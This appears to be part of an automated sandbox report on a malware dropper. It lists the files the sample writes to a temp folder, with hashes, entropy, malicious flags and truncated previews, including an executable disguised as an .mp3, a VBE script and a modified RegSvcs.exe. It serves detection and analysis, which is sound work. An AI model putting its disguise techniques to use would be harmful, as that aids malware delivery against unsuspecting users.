Size (bytes):	588
Entropy (8bit):	5.744612228806984
Encrypted:	false
SSDEEP:	12:WnGNeRd/MUAwEhQmHIFFg33etq6gFodFgSRRhkbkNkt7HLzYmv:WGuNW3F6gKdbRhkANo7LFv
MD5:	62A55B40D10BC4CCDF643E624B90D003
SHA1:	1AAFD527E1B40B555B1E68E1F6D9F6C594586913
SHA-256:	9401C3D0CBD1FBB5FB740EA9EFF7B4F7AF764574A6CBC487C97F99F610BA9852
SHA-512:	421B3694A2F2E080A03459973FE05A2B23F4FA67323529EE8D9AFDB6B5E9B8D082193A31F7C2B58D3368158FCDEF49D60DBABD3A4F7E656C8ED5B3B95F6BB181
Malicious:	false
Preview:	oG03pyV354095sGOBRSxx20ZkLDzgY1775f31..ToolTipConstants ToolbarConstants..5AE68g00h7FK7mS7D5oHX0Lg8zcqiE249..DateTimeConstants ComboConstants..k57l9IlHJ6Hh6kaM165f2r455631vlPUD4wvcv2i629945oX3yonmwYJ1ZQ3b9k3A85hVvvLO5932kA786Ho2cf8JpWF9O1Q49JJA3Ry253M82g81F28908fYJ964H3322rp..FontConstants GuiDateTimePicker..gp2P204LuYXL53MN080949vc11DjMN2f1Wi5fW1W3UKCA7x0tWx304A5VA2469d991L4N0358t0PFRN7a0j66K2Mk6T7KP62w1Y1sor6ycoZ17zj7V7YZj9..ToolTipConstants StructureConstants..1SUK6H2348154QFlh2zLMU4A7Ah05AVSQ1d53d9q7azA312Su8qL0QLZJVRE4U18bPc4cpd5Wr07g2g6Y..GuiDateTimePicker GuiDateTimePicker..

C:\Users\user\AppData\Local\Temp\RarSFX0\nbmn.lmk

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1373192
Entropy (8bit):	4.041168214657541
Encrypted:	false
SSDEEP:	24576:T3AoJ3FFp2KHP5jD69JE4N325yEqwGxRtsb+r:LACYDNf1F
MD5:	35A5CC0E4D021890E72A070EE02DFDC4
SHA1:	BA20DE52CDC21E3D8BD69470381B7D0CB53F1D05
SHA-256:	51E725C19B88D14E3D978B54D810398993242C959145F323FDE92CFA55557ADA
SHA-512:	AFE5510B3A27CF5E308CDE1E000289777AB9CFD592052B37C990028F51F4D5113E15FCCF7B13CF9A13ED06E3D134ED2009BBD18DDD5B508FA20D050D8D2719C2
Malicious:	false
Preview:	0x4D59]]3]]]04]]]FFFF]]_8]]]]]]]4]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]08]]]]E/F_0E]_409CD2/_80/4CCD2/546869732070726F67726/6D20636/6E6E6F742062652072756E20696E20444F53206D6F64652E0D0D024]]]]]]]5045]]4C0/03]5E7_5F64]]]]]]]]E]]20/0_0/0_]]3]]]66]]]]]]EE4E0]]2]]]06]]]]4]]02]]]]2]]04]]]]]]]04]]]]]]]]]0_]]02]]]]]]02]4085]]/]]0/]]]]0/]]0/]]]]]]0/]]]]]]]]]]]0944E0]57]]]]6]]/863]]]]]]]]]]]]]]]]]]]E]]0C]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]2]]]8]]]]]]]]]]]082]]048]]]]]]]]]]]2E74657874]]]F42E0]]2]]]03]]]02]]]]]]]]]]]]]]2]]0602E72737263]]]/863]]]6]]]64]]]320]]]]]]]]]]]]]4]]0402E72656C6F63]]0C]]]]E]]]02]]]960]]]]]]]]]]]]]4]]042]]]]]]]]]]]]]]]]D04E0]]]]]48]]]02]05]D43D0]C0/]]]/]]]04]]06827]]2/60]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]/33]5]0502]]0/]]//]7E0E]]00037E0E]]0280F]]02C0604/6FE0/2_0//7]/3/0///03D80/]]]04E08D/3]]0/0_73/]]]0C0307/60428//]]0]04/F/05E/6FE0//6FE0//3/0///03F4]]]]/F/08D/3]]0/0D/F/08D/3]]0//30473/2]]0/3057E0/]]04/E//04/6/F/028/3]]0]7E0/]]0

C:\Users\user\AppData\Local\Temp\RarSFX0\nhjdnx.3gp

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	579
Entropy (8bit):	5.575049796233503
Encrypted:	false
SSDEEP:	12:SgIrV55RKAnZROwTEeZUCeyNsLrkW6GLr1uQRTPUUD2EdZ:SgAVJKAnvOmUCXW63x0dZ
MD5:	E3C40D261A890A50E8616EFBCE725DF6
SHA1:	51087DD64E5C3F673C47A3B03CCAFFADB77DCE6D
SHA-256:	A1C8B7A1408638A385956EDAAF4EC1DEFB98E94784A5AEAEC9F63FD24CF3F83B
SHA-512:	114DE87085139632A912F2BDC2700EB60F166623641C460E818CE7A29EDC2DAC24F9C01B186CFB268976B7605FE496ADDB4300E6EC20507B101659DF2ADD69F8
Malicious:	false
Preview:	1q61d1LIRu9L98NY7g323ffUm3N34OA9b053foF9228QB26bH7GMa619r0PWWN42j2tR2D8hEkgK7K3vp3hK6080P3n9XyR9V69p7q4ya3IMz6Ok3K41x047vk8e1E1Qn8670H249S28L6tVE20q25S..DateTimeConstants FontConstants..773z76rS6Hr23O8rI30j7eMY3Q3Q7I021atLf93l986mx1e2aZfh09Vpp3s54t8IHY8Va2Hhd8X02KGU4C475coy2wtf84vyn7ZqKXjp3pQtW0vz31xO35lT602945i5Xji30Kd0514wp2A331oT29L3..UpDownConstants ToolbarConstants..9GYWl382o1858qz9x8zk6b6093C9O95Ze6aDdI00zo1V306x40c02010258A0HhwBd1L64l395I5d3fd3C..TreeViewConstants FontConstants..T1X2c09SB0w75y286D20W8G19PHF93019HTC4M34bL843I8I0439nH..UpDownConstants ComboConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\opioxoqv.bmp

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.547696645967649
Encrypted:	false
SSDEEP:	12:EBPfOBVX8y2PB4kT4DrgUyYSb2ElZhbuQ7+UNjTpP7:EpyXj2PG64zyfqEtbum+GjTp
MD5:	C4CEA733EF0F8C84E8C7081CDCB01B5E
SHA1:	66050A0F1A5C5A17532E8D449573A31BE8E8C693
SHA-256:	B75166289CC3ACD2E7ECB722F91792CEAD7BCCBE5D230A3AAF211C2027F7E8B4
SHA-512:	013A885C743CAE8BC941D76374745D18498CF5F53AEB7C4E02232130A552CC1553C2D3051D85B0494033DA2F5367BA078333659823A7AC236254420EEA0706DA
Malicious:	false
Preview:	TLR8ELL28..FileConstants TreeViewConstants..A8376Bzc32B160o57k9hBRD5it3w253kAQ5o8v8k9u12nbIk38u3UBQptw0159Wr3it64GO8p7rPNpN0GuFo1719IA059hr10X646..DateTimeConstants ColorConstants..SF1cuZHEA..ToolTipConstants DateTimeConstants..R355Bk4pweAC3JaG5aYh2oi1sFLSG1Vb4WuL047TC9Z01470m5KDs7YDFZZI2q35324Y11703B1734C73vNft25c5Z8Rg3j52gKd26D767Y6qz14Z322h9aJ2lInD369BHe115PTy21e5T3o4hA8ZCnV32wFu8g..ButtonConstants GuiDateTimePicker..648a97EKj9QK1164PH7tl5198sikWF150Q76E7k1KK1Z15Bke0M9..TreeViewConstants ComboConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\qbjid.xls

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	562
Entropy (8bit):	5.564214025056381
Encrypted:	false
SSDEEP:	12:pkxSfmKryTM4h6LyEeTNKjGbrGh9VAfwv:pk2mK2TM4oLyEeTgjG3Gh3Afwv
MD5:	4C854C21A4E83906AF7AE0B83D1D797B
SHA1:	52A423C95344186D45C66780CD55890820E755E0
SHA-256:	613C53A8E742366747A9253DD19FAB2527258F08E40699AAAB85D920787A717B
SHA-512:	BFEA86080CFFEC1E69EC7F5A1371796A656B8A129A1FEF437FADC8D170CDFD07C6F1BA514FCD14A138D943D89E26621686C366592D9BF6890C83C22A0EFA1963
Malicious:	false
Preview:	NZ8518kVp3k5h34470sFP55f2z7YD9PrLOE8xR5VK3yay14o..ToolTipConstants ToolTipConstants..1V7q7875S627zc33y98D452je07S62dN4eYoxE5PT6..UpDownConstants ToolbarConstants..rk3o03aO59012kV560TKOL428RABj694W77Zty10nXEJ71t0r7y74Sn3m7cE94W4UrQ00Yz9W85u93H9k5w5uCe0kc5135560kQ80929mH5443KY445p48Yhw..ButtonConstants DateTimeConstants..72ts5u93Icg055NGVnfs12sL6R98Q9u07Sqp09z3rf4G4fg2k8uSIXQuQi385I6a5826RJeh9Gnep1T7t5U5d3ki8y08v0cZ..ToolTipConstants ToolbarConstants..004n5gvFO4r501107u278V9PibNPXDe238mQ5y05V6i21L9yc03U23i18bYF9Uz10KsEA89..ButtonConstants GuiDateTimePicker..

C:\Users\user\AppData\Local\Temp\RarSFX0\qlgigdt.xls

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	648
Entropy (8bit):	5.642286506031062
Encrypted:	false
SSDEEP:	12:2y3xfr0t79gqcHuINsJMOrkGgOn1BBaS5GxEu7Femjt/tON9v:v3xfY79gqcHuINsLfgaNGx4m29v
MD5:	135F39E327B474DFCF9139F5A9DE5A9B
SHA1:	0D70AFD4762C1296355DD9E7579EB57B833D4C0C
SHA-256:	0988FF10C9F291F32009CA04929C0156A0E10C5003D30AE266B865E56C064B17
SHA-512:	4CD5747C41EF013C5CC884536864C35C45BEEB3FBB794CA6CD891C1F787ACE6A261A0B2E45BBC87677CF6540E5413564D98C2510EE30EC163E8EE3D0E4863E2B
Malicious:	false
Preview:	TVw8m1vjG6CwK486C1178I0777077425f2zk335753sZFo580ehI3CYyx34I61..ToolbarConstants ToolbarConstants..2cI1Sw6VzV04jfGb2cD97235S1LFzx4FUp6YI907F0T3ECGs6313P747VEs0j7607g1209P1qO37unPA2Ee4lb8t16K02L91a9138i08y1x3p831S9P3E3u4C42rnUiE7J3187KT9zFQ82s4f76R8rO..BorderConstants GuiDateTimePicker..75Z2ug1P65tyHXxmbN6r49hh17t8FFKaTJZ3V129BT3o5K745aMXB2090..ToolTipConstants DateTimeConstants..16I9Q0ZFkx9L6Bz9jk8473aaAS2j9749W42Fgv4s8DI7D6LkO00WC6lk830v0r2y4U190fdr7..ColorConstants GuiDateTimePicker..i1p86J2Y5I7Rbuq7b1EQ4mgiI4K8l1Qd91S381JFJO2HiY5550C7Zi6AL7h529940V3Oz453np94cG4Z19963H451a93lJ9Pi0nK3km9ib5X059TNQa8A6q..ToolbarConstants GuiDateTimePicker..

C:\Users\user\AppData\Local\Temp\RarSFX0\qlmgqepgjl.xls

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	633
Entropy (8bit):	5.515639729376305
Encrypted:	false
SSDEEP:	12:Zl70KyLGUkXx+LCaXWKbjy6MGdqNomuLutX/1iBPR6FoCWLqywLHQcs2:gKyLGdX+DXZy6MGdmomuLuJ1ijyWLBM
MD5:	0E969295487775DAA7D03B33829684F8
SHA1:	613CF0518A258CE3ED5BB2AAC7BAC1FDA71B1EC4
SHA-256:	5BADEFDF6C9490D5ED3A5181BB87A30536776827BF7A155957C62B01028FD4FB
SHA-512:	7EFCFCEE6E15AF372A6A57F66531FEB1C1873DC22399CE05228369EE3E7E49D69453D75D78131D50217761539BFCE82245140163C50ABAFA1790EEC69F1665E1
Malicious:	false
Preview:	2k32t5192X8H0KyMR9T20BwJt744c6l26dF9Zo..ToolTipConstants FontConstants..P3Ff6sU5M322sz79T9m6..FileConstants DateTimeConstants..92I1xJd87942g987X7351vdK8411g513yqH8yB263Wn262B3B3150U56mTxXT3V192X808F7uW78Kr5T8t5147sW3CL012z088cq9Jw..FileConstants FontConstants..3m366r1KqTV6qb24..UpDownConstants ButtonConstants..o59Xrz90Xo..ButtonConstants GuiDateTimePicker..2yX62fa6C55b477x097d8WuJU1R264jxF418928662YBke5Y544m0D7U76Z5BX1v84QKpaPZL..ComboConstants TreeViewConstants..z2g24NI1xo99Ngjhf5dc950x5D7jaSFHF2VY6nk2965pY2D8zYa9ak165Z1V9Q90DQ1703w7BGrs9LKw50Ah76rmOF231DfM36Bdx4qBCw7c47szZ6a7SE5I955qD4DU..DateTimeConstants ButtonConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.629681466265794
Encrypted:	false
SSDEEP:	24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
MD5:	0ADB9B817F1DF7807576C2D7068DD931
SHA1:	4A1B94A9A5113106F40CD8EA724703734D15F118
SHA-256:	98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
SHA-512:	883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: FS04dlvJrq.exe, Detection: malicious, Browse Filename: M1Y6kc9FpE.exe, Detection: malicious, Browse Filename: mJIvCBk5vF.exe, Detection: malicious, Browse Filename: lcbF0sywlU.exe, Detection: malicious, Browse Filename: 1aG5DoOsAW.exe, Detection: malicious, Browse Filename: Factura-2410-CFDI.bat, Detection: malicious, Browse Filename: DGFmCcZnM0.exe, Detection: malicious, Browse Filename: qZkywW6Q0b.exe, Detection: malicious, Browse Filename: AlBXxWizEX.msi, Detection: malicious, Browse Filename: mEudzoO1bG.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................\|....P..P............N..X&...0..Pv...........................C..........@............................................text...\|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.629681466265794
Encrypted:	false
SSDEEP:	24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
MD5:	0ADB9B817F1DF7807576C2D7068DD931
SHA1:	4A1B94A9A5113106F40CD8EA724703734D15F118
SHA-256:	98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
SHA-512:	883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................\|....P..P............N..X&...0..Pv...........................C..........@............................................text...\|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	90504
Entropy (8bit):	3.021449759435307
Encrypted:	false
SSDEEP:	24:QRMMMMMMMMMMMUYeeeeeeeeeeeeeeeeeeeeeeeeeaYdddddddddddddddddddddJ:bHXI7WPxVcWVWC9EnIhnrQ
MD5:	BE932D231EF60DCF6AD6C579873B550C
SHA1:	CA37AE517C7D341E008CBD71BEAB29ACA839002C
SHA-256:	D47ED1047E043162E221D1A21B5E19D8A24641442BCB17C6C8A51F9456998751
SHA-512:	21385ADA5436112899AAA4651A6D561499735E6E59674258C9DE6B38A50E671276AE9E8B5C7F70E60321CF41846AE34E299D179FBF6226027D9A9C99751AD09B
Malicious:	true
Preview:	..T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.T.e.l.e.V.r.a.m.(.1.3.0.).:.....T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.m.(.1.0.5.).:.T.e.l.e.V.r.a.

C:\Users\user\AppData\Local\Temp\RarSFX0\srnkdleah.exe

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	609
Entropy (8bit):	5.517312307798012
Encrypted:	false
SSDEEP:	12:UIVldnzxwXVoUbApRq1RfoSbdLjPlruYpdMQ2DuyX4Ozjc:UIVrzArKSRjbdLpruYp6LVXhc
MD5:	834D7436B1908047FBC4801E3D9EA735
SHA1:	8CC6441F6A4A65902AE20C8D0D73A59048227253
SHA-256:	056D4C251DE76715737124CCB63E6652840EE3EE66A41F45B109B3F413EE864B
SHA-512:	EFFC86EF8949E1C231F9C18C807AFC39882CAFA2BEB5E87F10E2AC5D8378D2F2AC3C94679EEFCFE9F4AF6C260E524BAC051FC789D147215CCD552A1D44EDAE7A
Malicious:	false
Preview:	f50235..ColorConstants FileConstants..352950q81ZrVFh028w23smi5ASTD3t45Ct47b4Fw158ndgMh3K8m85EiwUL2u71BM7lZtO224PpgS..DateTimeConstants ToolbarConstants..7I140n089014u589NkB234fraO117t2bUc22235..ButtonConstants StructureConstants..051t2ZNexB6gD177M3wL7DwCP9fyN9IObJ13veie35ZCH8hkXq072r3E65..UpDownConstants GuiDateTimePicker..0HA4463l63225A30l7V..TreeViewConstants ButtonConstants..2165..FontConstants GuiDateTimePicker..17cPgv6Fdp776612952eHNUp781420VTI8W983PRn00cpvD43sshTf0Ie6qdFaB2bhPVHJN14687h1QD9ZM6h26971hH5rc938Z7D60g585q20VD24BhB05L626UeS525S18lCuvmC7PZKb9k7MHy..GuiDateTimePicker StructureConstants..

C:\Users\user\AppData\Local\Temp\RarSFX0\tnlupe.mp3

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	113665448
Entropy (8bit):	6.924457735552897
Encrypted:	false
SSDEEP:	196608:Gt8gSuolgztogeon51s+rCBTHJVUdOHtBJagqthtgE/zBACLTxLun176fzoEh+To:M
MD5:	BD375FCAB430AB12BBE70CFFB392EE88
SHA1:	E7E5B1703F84C7ECF79E1F2F0F425FC084F1D215
SHA-256:	DE5DC11F91E1F382D44EA0CFD15983680CD2A9239882672C003EB7DA281F5218
SHA-512:	EAE4BF46DF8BEA8F9B0C4E028BDE510AFBB12A9BFB9709E5271848D4C9AB38879B987F6DCABE4B0DE7536A481F368A2EF516295C443BAEAAE8E3C2780C9C9F30
Malicious:	false
Preview:	..;.$...bp....u.w ..... .kJ....Q]Du.........e..~7....!}{%.9.k.X...j..ke.....J*b.+(<. N-dP1...E7........0............g..p...".l....`..b.\|.b....MEZQ....(iyh}...P...?........+..-._k.?..T.....z..'.m.. ....#.c.s.-`.&..V..p...u#.$P....e..DF....W...w.j.O._.-....u= .....IA^.z....sl....&....o....Yp..E....1..2.hd~Bv....{.Xe...n.?.mMp\|.c=.....Z}[by..]/..H...K.....k.r....n.3.g.b.6.4.w.B.4.8.0.3.7.X.O.5.n.9.0.i.6.5.g.8.r.2.d.J.2.....l.2.Q.8.l.H.0.L.....,...x.0]t..E.....m...1?h.o..!.>.R..m....X...4C..U..i....p#"....<@....wI.y.^j..}E....:A..X4..{Q...>...I...bI]a ...f..'...%...!.......t.RJm(.o.68.......J~.~o.x/}.E...v.....k.6.B.2.g.L.3.3.1.0.w.o.....X.t.6.Q.V.C.5.4.T.7.2.s.5.r.5.9.v.0.4.H.q.3.z.A.h.r.4.o.2.S.W.G.O.Z.M.5.F.L.e.6.m.K.1.3.N.W.k.8.....j.y.c.P.7.6.6.b.5.9.x.d.0.P.1.k.6.8.f.r.h.v.4.8.t.5.p.L.i.G.3.....m.6.4.W.9.2.....9.8.4.2.X.U.Y.0.5.4.4.2.9.C.5.W.3.U.9.6.2.X.j.e.C.r.Z.1.Y.T.9.3.k.....b.8.4.E.9.e.9......L..b..`..n...zh.jQ.3.^..<bDS.0../5.m..:\|..)..Ja.5r.,.../

C:\Users\user\AppData\Local\Temp\RarSFX0\uraspfn.bin

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	41169
Entropy (8bit):	5.574992140650956
Encrypted:	false
SSDEEP:	768:SqzHu71BxiT+rwNwh5KG/KKQs2TUdeDPz6YzTwnuO+YZk7IZ:NHU1rstNrGiKQRT9DL6DuOP9
MD5:	5FE3C2E677E90B8971DCAEC9D9CF973D
SHA1:	CCCEFD97B61B17F2BC60983D2437925A7B063B20
SHA-256:	762982A2B57B2A93DD63FBF230DA414B6C3ABC6240D4B0AF7BB940DC81B74512
SHA-512:	2C204731CC1BDB18259E737CDCE622833367413BF10A75A73E23D3C531E3739093D0E4227C032AAB61EA8F26A8D65175AC3072EAF61116FF07BC623E0D402727
Malicious:	false
Preview:	Gs8k9G..09Dze2Ri21v07024j3Bkj08k43620w..as6F9u248nt4E5D34X8TicUo56G1p6Iq7HWQ6CO543yP0E..xaJjJ6998evt364K2JMk3JUL1V169d17W1525g8u64Q8mg624Dq69u..RwDHspQjqT7082C211yji23005131f84T0V4Rt783H5qN..71503293t47A3715b4GE0K1n2HSP78l25n49k2qOp668h89L439GV76rXE63A660vI238..VPtgmDkG5IY651h2xX92d3O72m544t7j6KbS3789u3..8juXPy4HfT34a96W79i4L635wQN7C64m0fV5Q6G83u2Dsd..phmvnO5wH7bw707x270573Yr30Iaqb8Z3ornK7..Sk69g85nW3urpi71T05z02880K89onK84T33dy93ziqP..4J937x4E606vqL7fKZg2G8uTA2f20g8z8N7j58097O6w98030D1O8RN9S..Mnh8Sb8x5UW0x4M26I8f394Z8..9A9cur15YeDDM5O8G3A7rDs4949a4k9RYF76v99K..SM6gUf3u8v64W2N889l16N5arA6z268E1Y8T6c8b27d42d29S6i..S8whuJPCVO3N3Fm05JeGtD4M..l1p19Kskx87icmQeA2umK9E66LU8j87e320208152Hk75O7B1OP9UU22..t602Dct2yRctvCMtZyp4kn25XRJ0qH921b0r67t..4940R0K3j25Z941pc385q1bKK31ajV75rr6v905G4b497939SDz6k961po13O70z0..gu0QN79T640hn842q969k980Qe8i3k78137xBT5QI4x94G..u8u2ItTd0afA0F0T8lk38J1Eu5W1867To0PF8V8466vS13..Lc5l4blEH80kJtCcncqb3G3r12116x544DE59gG1Z0gR055nei3um11eU6x48Y..n62F5C0l6GM181230H77R8364N7

C:\Users\user\AppData\Local\Temp\RarSFX0\wbaxv.jpg

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	517
Entropy (8bit):	5.60876413392208
Encrypted:	false
SSDEEP:	12:g3tc6T0er7S8x1pbJ5+HB+PteGsoregI5v:sTNr7S8rpbJdPtWg8v
MD5:	4DAA3E600C4D2C162FFE78C5DF68AB8E
SHA1:	C1F052EB1577599B89B70AE99BD9E6C8DDE4F822
SHA-256:	C2B1869137E2E69E3969C50A0918EB71C5797F84FAF4093AEF0C890957A193EA
SHA-512:	35C537693DF896C6B62118BD38BBDC6C0B4233C391FA11FEC0E49373E08E7BAEDC9FAB07489BC9C55D7D69797820AEFC6C21C62B5A8669EE8AEF297DBF89ED6F
Malicious:	false
Preview:	94fl4Vi93m506967tqUkd2rq80v81m3D5T71v6B8JtB12z46779Q7o7M6EGvF4uJWM5dt4i62H71S43T9575xR5xP644ye..ToolbarConstants ToolbarConstants..59s492Ipmlntg9c0WuAa6yOc2fLAUFHlRtlbYoa..FileConstants ToolbarConstants..863Zy4EYs568DAWVZ2uH3890igu5Y361H1Y8v4o929lSB6556M2yTP3o342t8721N0H6p5nw5959eA2..GuiDateTimePicker StructureConstants..c64xycev244ZQqU4x410L5X6rVO617q4C7z3K7gB5k81h3g4sx2HPo2VDBj113h748313BS7G7jI8bt315ob95142G2g09z0..StructureConstants ToolTipConstants..QV0HiRFd3ZDK9227R86G6WQ..ComboConstants GuiDateTimePicker..

C:\Users\user\AppData\Local\Temp\RarSFX0\xddkunhuro.msc

Download File

Process:	C:\Users\user\Desktop\ngPebbPhbp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	507
Entropy (8bit):	5.6090252322037335
Encrypted:	false
SSDEEP:	12:B0SXXoGYepQld6qJM7hBfZJyCv6jMJoDbGPWqJ5QEWz:JlYQyd6WM7BJzS4mbtq5uz
MD5:	992C91B45A9F3472868D47E61CB8675E
SHA1:	FCDFBC8EC428982B4CB0B09FB00244DE0BC78073
SHA-256:	A8A5116542D33261544E18C4431C11A45F77AB24A7F06A2C1D06480066EC6E62
SHA-512:	24054844512035AB6962F3ABE2DA36D56AC7E182A72A19D8A38F1C356D7BDE30F14FE6FE3EF057C602A73E53A5D9131676C01F1EF99B545877015A4D3243B9EB
Malicious:	false
Preview:	8u945m2142LJ65a6So7R8t5st6601672XsVFQib88SnLg9143011331K3RuSbm3..GuiDateTimePicker StructureConstants..mSs378DDJFLCg18436734Q4owR926424B2q2EexiB..DateTimeConstants GuiDateTimePicker..9ZD6F6qLj9L01K0Z904p58I62uwhO5xE78414y9z074U1i4TxBRJtk1ak3qC223u0A74u83jKy0t..ToolbarConstants ToolbarConstants..vhhqME9L023D54yNN5374t7676B88B69DrU6uipg1csk9mRX436188452v88a57mqh5Yv930203v1bX00p630uz9NMO0qrg22OfJjm0qX53kIgVl4B343Q4xd7GM8R741352Bxng4HWRbY8r1swz4E5hE74167uHr3R13on315KY89..UpDownConstants DateTimeConstants..

C:\Users\user\AppData\Local\Temp\RegSvcs.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	45984
Entropy (8bit):	6.16795797263964
Encrypted:	false
SSDEEP:	768:4BbSoy+SdIBf0k2dsjYg6Iq8S1GYqWH8BR:noOIBf0ddsjY/ZGyc7
MD5:	9D352BC46709F0CB5EC974633A0C3C94
SHA1:	1969771B2F022F9A86D77AC4D4D239BECDF08D07
SHA-256:	2C1EEB7097023C784C2BD040A2005A5070ED6F3A4ABF13929377A9E39FAB1390
SHA-512:	13C714244EC56BEEB202279E4109D59C2A43C3CF29F90A374A751C04FD472B45228CA5A0178F41109ED863DBD34E0879E4A21F5E38AE3D89559C57E6BE990A9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0..d..........V.... ........@.. ..............................s.....`.....................................O.......8............r...A.......................................................... ............... ..H............text...\c... ...d.................. ..`.rsrc...8............f..............@..@.reloc...............p..............@..B................8.......H........+...S..........\|...P...........................................r...p(....2.(....(....z..r...p(....(....(......}......{.....s..........0..{...........Q.-.s.....+i~....o....(.....s.......o.....r!..p..(....Q.P,:.P.....(....o....o 